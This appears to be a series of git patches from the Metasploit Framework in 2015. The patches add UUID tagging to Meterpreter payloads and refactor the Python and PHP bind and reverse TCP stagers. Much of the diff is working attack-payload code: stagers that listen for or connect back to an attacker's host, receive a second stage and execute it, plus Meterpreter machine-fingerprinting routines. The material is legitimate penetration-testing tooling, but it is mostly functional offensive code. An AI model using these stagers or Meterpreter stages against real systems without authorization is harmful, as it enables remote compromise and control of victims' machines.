'androidpayload.stage.Meterpreter' file = File.join(Msf::Config.data_directory, "android", "metstage.jar") metstage = File.open(file, "rb") {|f| f.read(f.stat.size) } diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index 0d04451c27..60eaf61f11 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -34,7 +34,7 @@ module Metasploit3 # Override the {Payload::Dalvik} version so we can load a prebuilt jar # to be used as the final stage # - def generate_stage + def generate_stage(opts={}) clazz = 'androidpayload.stage.Shell' file = File.join(Msf::Config.data_directory, "android", "shell.jar") shell_jar = File.open(file, "rb") {|f| f.read(f.stat.size) } diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 2fe63d9b42..dfa263ef0e 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -53,12 +53,13 @@ module Metasploit3 # Override the Payload::Java version so we can load a prebuilt jar to be # used as the final stage; calls super to get the intermediate stager. # - def generate_stage + def generate_stage(opts={}) + # TODO: wire the UUID into the stage met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') # All of the dendencies to create a jar loader, followed by the length # of the jar and the jar itself. - super + [met.length].pack("N") + met + super(opts) + [met.length].pack("N") + met end end diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 4590895cd5..8056077829 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -142,9 +142,9 @@ module Metasploit3 end - def generate_stage + def generate_stage(opts={}) meterpreter = generate_meterpreter - config = generate_config + config = generate_config(opts) meterpreter + config end diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb index 6da688c80e..3e9bb5a785 100644 --- a/modules/payloads/stages/osx/armle/execute.rb +++ b/modules/payloads/stages/osx/armle/execute.rb @@ -144,8 +144,8 @@ module Metasploit3 ], self.class) end - def generate_stage - data = super + def generate_stage(opts={}) + data = super(opts) begin print_status("Reading executable file #{datastore['PEXEC']}...") diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 1f66f8a851..a057c695d8 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -23,12 +23,23 @@ module Metasploit3 'Session' => Msf::Sessions::Meterpreter_Php_Php)) end - def generate_stage + def generate_stage(opts={}) file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.php") met = File.open(file, "rb") {|f| f.read(f.stat.size) } + + unless opts[:uuid] + uuid = Msf::Payload::UUID.new( + platform: 'php', + arch: ARCH_PHP + ) + end + + bytes = uuid.to_raw.map { |c| '\x%.2x' % c }.join('') + met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") + #met.gsub!(/#.*?$/, '') #met = Rex::Text.compress(met) met diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index a4a642a663..21bf8cf9ea 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -26,7 +26,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") met = ::File.open(file, "rb") {|f| @@ -37,6 +37,16 @@ module Metasploit3 met = met.sub("DEBUGGING = False", "DEBUGGING = True") end + unless opts[:uuid] + uuid = Msf::Payload::UUID.new( + platform: 'python', + arch: ARCH_PYTHON + ) + end + + bytes = uuid.to_raw.map { |c| '\x%.2x' % c }.join('') + met = met.sub("PAYLOAD_UUID = \"\"", "PAYLOAD_UUID = \"#{bytes}\"") + met end end diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 19a18983db..61c9dea629 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -38,20 +38,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86 + ) end # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config(opts)], - :extensions => [] + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)], + extensions: [] } # create the configuration instance based off the parameters diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index e2c0acf9b0..d72041d837 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -38,20 +38,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X64 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X64 + ) end # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config(opts)], - :extensions => [] + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)], + extensions: [] } # create the configuration instance based off the parameters From 4488a5e634867f8c30992ea906d9ebbef2872a6c Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 14:29:42 +1000 Subject: [PATCH 0103/1013] Add uuid support to python, and rework stages/stagers --- lib/msf/core/payload/python.rb | 6 ++ lib/msf/core/payload/python/bind_tcp.rb | 72 +++++++++++++++++++ lib/msf/core/payload/python/reverse_tcp.rb | 70 ++++++++++++++++++ lib/msf/core/payload/python/send_uuid.rb | 36 ++++++++++ .../ui/console/command_dispatcher/core.rb | 3 +- modules/payloads/stagers/python/bind_tcp.rb | 47 ++++-------- .../payloads/stagers/python/bind_tcp_uuid.rb | 43 +++++++++++ .../payloads/stagers/python/reverse_tcp.rb | 46 ++++-------- .../stagers/python/reverse_tcp_uuid.rb | 42 +++++++++++ modules/payloads/stages/php/meterpreter.rb | 2 +- modules/payloads/stages/python/meterpreter.rb | 12 ++-- 11 files changed, 300 insertions(+), 79 deletions(-) create mode 100644 lib/msf/core/payload/python.rb create mode 100644 lib/msf/core/payload/python/bind_tcp.rb create mode 100644 lib/msf/core/payload/python/reverse_tcp.rb create mode 100644 lib/msf/core/payload/python/send_uuid.rb create mode 100644 modules/payloads/stagers/python/bind_tcp_uuid.rb create mode 100644 modules/payloads/stagers/python/reverse_tcp_uuid.rb diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb new file mode 100644 index 0000000000..383b3694a9 --- /dev/null +++ b/lib/msf/core/payload/python.rb @@ -0,0 +1,6 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::Python + +end diff --git a/lib/msf/core/payload/python/bind_tcp.rb b/lib/msf/core/payload/python/bind_tcp.rb new file mode 100644 index 0000000000..ca9733aa20 --- /dev/null +++ b/lib/msf/core/payload/python/bind_tcp.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/python/send_uuid' + +module Msf + +### +# +# Complex bind_tcp payload generation for Python +# +### + +module Payload::Python::BindTcp + + include Msf::Payload::Python::SendUUID + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'] + } + + generate_bind_tcp(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def transport_config(opts={}) + transport_config_bind_tcp(opts) + end + + def generate_bind_tcp(opts={}) + # Set up the socket + cmd = "import socket,struct\n" + cmd << "b=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "b.bind(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "b.listen(1)\n" + cmd << "s,a=b.accept()\n" + cmd << py_send_uuid if include_send_uuid + cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d)I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d) "Get the MSF ID of the machine attached to the session", "quit" => "Terminate the meterpreter session", "resource" => "Run the commands stored in a file", + "uuid" => "Get the UUID for the current session", "read" => "Reads data from a channel", "run" => "Executes a meterpreter script or Post module", "bgrun" => "Executes a meterpreter script as a background thread", @@ -80,8 +81,6 @@ class Console::CommandDispatcher::Core # Migration only supported on windows and linux c["migrate"] = "Migrate the server to another process" - # UUID functionality isn't yet available on other platforms - c["uuid"] = "Get the UUID for the current session" # Yet to implement transport hopping for other meterpreters. # Works for posix and native windows though. diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 75612fa414..a51bd39ede 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -5,6 +5,8 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,45 +15,20 @@ module Metasploit3 CachedSize = 374 include Msf::Payload::Stager + include Msf::Payload::Python + include Msf::Payload::Python::BindTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Python Bind TCP Stager', - 'Description' => 'Listen for a connection', - 'Author' => 'Spencer McIntyre', - 'License' => MSF_LICENSE, - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Handler' => Msf::Handler::BindTcp, - 'Stager' => {'Payload' => ""} + 'Name' => 'Python Bind TCP Stager', + 'Description' => 'Listen for a connection', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} )) end - # - # Constructs the payload - # - def generate - # Set up the socket - cmd = "import socket,struct\n" - cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd << "s.listen(1)\n" - cmd << "c,a=s.accept()\n" - cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd << "d=c.recv(l)\n" - cmd << "while len(d) 'Python Bind TCP Stager with UUID support', + 'Description' => 'Listen for a connection with UUID support', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # Tell the reverse_tcp payload to include the UUID + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 9f646f5c6f..08d5011f09 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -5,51 +5,29 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module Metasploit4 CachedSize = 342 include Msf::Payload::Stager + include Msf::Payload::Python + include Msf::Payload::Python::ReverseTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Python Reverse TCP Stager', - 'Description' => 'Connect back to the attacker', - 'Author' => 'Spencer McIntyre', - 'License' => MSF_LICENSE, - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => {'Payload' => ""} + 'Name' => 'Python Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} )) end - # - # Constructs the payload - # - def generate - # Set up the socket - cmd = "import socket,struct\n" - cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd << "d=s.recv(l)\n" - cmd << "while len(d) 'Python Reverse TCP Stager with UUID support', + 'Description' => 'Connect back to the attacker with UUID support', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # Tell the reverse_tcp payload to include the UUID + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index a057c695d8..08c4a8daf7 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -37,7 +37,7 @@ module Metasploit3 ) end - bytes = uuid.to_raw.map { |c| '\x%.2x' % c }.join('') + bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") #met.gsub!(/#.*?$/, '') diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 21bf8cf9ea..c00b559c35 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -37,14 +37,12 @@ module Metasploit3 met = met.sub("DEBUGGING = False", "DEBUGGING = True") end - unless opts[:uuid] - uuid = Msf::Payload::UUID.new( - platform: 'python', - arch: ARCH_PYTHON - ) - end + uuid = opts[:uuid] || Msf::Payload::UUID.new( + platform: 'python', + arch: ARCH_PYTHON + ) - bytes = uuid.to_raw.map { |c| '\x%.2x' % c }.join('') + bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') met = met.sub("PAYLOAD_UUID = \"\"", "PAYLOAD_UUID = \"#{bytes}\"") met From e41ae9352487cd222d8043c7315e7a913468fd9a Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 14:58:10 +1000 Subject: [PATCH 0104/1013] Payload sizes, specs and more --- .../singles/php/meterpreter_reverse_tcp.rb | 2 +- .../stagers/linux/x86/bind_tcp_uuid.rb | 2 +- .../stagers/linux/x86/reverse_tcp_uuid.rb | 2 +- modules/payloads/stagers/python/bind_tcp.rb | 2 +- .../payloads/stagers/python/bind_tcp_uuid.rb | 4 +- .../stagers/python/reverse_tcp_uuid.rb | 2 +- spec/modules/payloads_spec.rb | 88 +++++++++++++++++++ 7 files changed, 95 insertions(+), 7 deletions(-) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index fc5257cc1b..cfe7556574 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit3 - CachedSize = 24643 + CachedSize = 24947 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb index 92d7b005ea..9bae106ea4 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/bind_tcp' module Metasploit4 - CachedSize = 110 + CachedSize = 146 include Msf::Payload::Stager include Msf::Payload::Linux::BindTcp diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index 5c3657ec11..60eeecb7ab 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/reverse_tcp' module Metasploit4 - CachedSize = 193 + CachedSize = 229 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index a51bd39ede..aaab854577 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/python/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module Metasploit4 CachedSize = 374 diff --git a/modules/payloads/stagers/python/bind_tcp_uuid.rb b/modules/payloads/stagers/python/bind_tcp_uuid.rb index 5141841e1e..279b2d9d62 100644 --- a/modules/payloads/stagers/python/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/python/bind_tcp_uuid.rb @@ -10,9 +10,9 @@ require 'msf/core/payload/python/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module Metasploit4 - CachedSize = 374 + CachedSize = 474 include Msf::Payload::Stager include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index 85d6490fa2..472bfbe420 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 342 + CachedSize = 442 include Msf::Payload::Stager include Msf::Payload::Python diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index ce84676c5e..bd5083c12d 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1353,6 +1353,17 @@ describe 'modules/payloads', :content do reference_name: 'linux/x86/meterpreter/bind_tcp' end + context 'linux/x86/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp_uuid', + 'stages/linux/x86/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_tcp_uuid' + end + context 'linux/x86/meterpreter/find_tag' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1397,6 +1408,17 @@ describe 'modules/payloads', :content do reference_name: 'linux/x86/meterpreter/reverse_tcp' end + context 'linux/x86/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp_uuid', + 'stages/linux/x86/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_tcp_uuid' + end + context 'linux/x86/metsvc_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2084,6 +2106,17 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/bind_tcp' end + context 'python/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/python/bind_tcp_uuid', + 'stages/python/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/bind_tcp_uuid' + end + context 'python/meterpreter/reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2117,6 +2150,17 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/reverse_tcp' end + context 'python/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/python/reverse_tcp_uuid', + 'stages/python/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_tcp_uuid' + end + context 'python/shell_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2587,6 +2631,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/bind_tcp_rc4' end + context 'windows/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_uuid', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_tcp_uuid' + end + context 'windows/meterpreter/find_tag' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2741,6 +2796,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/reverse_tcp_rc4_dns' end + context 'windows/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_uuid', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_uuid' + end + context 'windows/metsvc_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3557,6 +3623,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/meterpreter/bind_tcp' end + context 'windows/x64/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp_uuid', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_tcp_uuid' + end + context 'windows/x64/meterpreter/reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3590,6 +3667,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/meterpreter/reverse_tcp' end + context 'windows/x64/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp_uuid', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_tcp_uuid' + end + context 'windows/x64/meterpreter/reverse_winhttp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 9296a024e2ab978aa743c34d41dc2109c262dc66 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 17:40:48 +1000 Subject: [PATCH 0105/1013] PHP meterpreter refactoring in prep for uuid work --- data/meterpreter/meterpreter.php | 35 ++++- data/meterpreter/meterpreter.py | 16 ++- lib/msf/core/payload/php/bind_tcp.rb | 123 ++++++++++++++++++ lib/msf/core/payload/php/reverse_tcp.rb | 111 ++++++++++++++++ lib/msf/core/payload/php/send_uuid.rb | 43 ++++++ lib/msf/core/payload/python/bind_tcp.rb | 5 +- .../singles/php/meterpreter_reverse_tcp.rb | 15 ++- modules/payloads/stagers/php/bind_tcp.rb | 21 +-- modules/payloads/stagers/php/bind_tcp_ipv6.rb | 43 ++---- modules/payloads/stagers/php/reverse_tcp.rb | 49 ++----- modules/payloads/stagers/python/bind_tcp.rb | 2 +- .../payloads/stagers/python/bind_tcp_uuid.rb | 2 +- .../payloads/stagers/python/reverse_tcp.rb | 1 - modules/payloads/stages/php/meterpreter.rb | 19 ++- 14 files changed, 375 insertions(+), 110 deletions(-) create mode 100644 lib/msf/core/payload/php/bind_tcp.rb create mode 100644 lib/msf/core/payload/php/reverse_tcp.rb create mode 100644 lib/msf/core/payload/php/send_uuid.rb diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index ab71743636..4d76383caf 100755 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -1,4 +1,4 @@ -#> 16) & 0xFFFF, serial_num & 0xFFFF) + } else { + $serial = get_hdd_label(); + } + + packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id)); + return ERROR_SUCCESS; +} ## diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index e1736f67c6..a39fde22ae 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -577,6 +577,14 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_machine_id(self, request, response): + def get_hdd_label(): + for _, _, files in os.walk('/dev/disk/by-id/'): + for f in files: + for p in ['ata-', 'mb-']: + if f[:len(p)] == p: + return f[len(p):] + return "" + serial = '' machine_name = platform.uname()[1] if has_windll: @@ -598,12 +606,8 @@ class PythonMeterpreter(object): serial_num = serial_num.value serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF) else: - for _, _, files in os.walk('/dev/disk/by-id/'): - for f in files: - for p in ['ata-', 'mb-']: - if f[:len(p)] == p: - serial = f[len(p):] - break + serial = get_hdd_label() + response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name)) return ERROR_SUCCESS, response diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb new file mode 100644 index 0000000000..0ef0ee4da9 --- /dev/null +++ b/lib/msf/core/payload/php/bind_tcp.rb @@ -0,0 +1,123 @@ + +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/php/send_uuid' + +module Msf + +### +# +# Complex bind_tcp payload generation for PHP +# +### + +module Payload::Php::BindTcp + + include Msf::Payload::Php + include Msf::Payload::Php::SendUUID + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'] + } + + php = super + generate_bind_tcp(conf) + php.gsub!(/#.*$/, '') + Rex::Text.compress(php) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def use_ipv6 + false + end + + def transport_config(opts={}) + transport_config_bind_tcp(opts) + end + + def generate_bind_tcp(opts={}) + ipf = 'AF_INET' + ip = '0.0.0.0' + if use_ipv6 + ipf << "6" + ip = '[::]' + end + + php = %Q^// { 'Payload' => "" } )) end - def generate - bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp.php')) - bind.gsub!("4444", "#{datastore["LPORT"]}") - return super + bind - end - - # - # PHP's read functions suck, make sure they know exactly how much data to - # grab by sending a length. - # - def handle_intermediate_stage(conn, payload) - conn.put([payload.length].pack("N")) - end end diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb index cbde929631..4698f162a2 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb @@ -4,15 +4,15 @@ ## require 'msf/core' -require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/php/bind_tcp' -module Metasploit3 +module Metasploit4 - CachedSize = 1350 + CachedSize = 1182 include Msf::Payload::Stager - include Msf::Payload::Php + include Msf::Payload::Php::BindTcp def self.handler_type_alias "bind_tcp_ipv6" @@ -20,34 +20,19 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager IPv6', - 'Description' => 'Listen for a connection over IPv6', - 'Author' => ['egypt'], - 'License' => MSF_LICENSE, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Handler' => Msf::Handler::BindTcp, - 'Stager' => { 'Payload' => "" } + 'Name' => 'Bind TCP Stager IPv6', + 'Description' => 'Listen for a connection over IPv6', + 'Author' => ['egypt'], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => { 'Payload' => "" } )) end - def generate - if (datastore['LPORT'] and not datastore['LPORT'].empty?) - lport = datastore['LPORT'] - else - lport = '4444' - end - bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp_ipv6.php')) - bind.gsub!("4444", lport) - - return super + bind + def use_ipv6 + true end - # - # PHP's read functions suck, make sure they know exactly how much data to - # grab by sending a length. - # - def handle_intermediate_stage(conn, payload) - conn.put([payload.length].pack("N")) - end end diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index 96536cb67e..dfb8d9d864 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -4,50 +4,27 @@ ## require 'msf/core' -require 'msf/core/payload/php' require 'msf/core/handler/reverse_tcp' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' +require 'msf/core/payload/php/reverse_tcp' -module Metasploit3 +module Metasploit4 - CachedSize = 1303 + CachedSize = 931 include Msf::Payload::Stager - include Msf::Payload::Php + include Msf::Payload::Php::ReverseTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'PHP Reverse TCP Stager', - 'Description' => 'Reverse PHP connect back stager with checks for disabled functions', - 'Author' => 'egypt', - 'License' => MSF_LICENSE, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => {'Payload' => ""} - )) - end - - # - # Constructs the payload - # - def generate 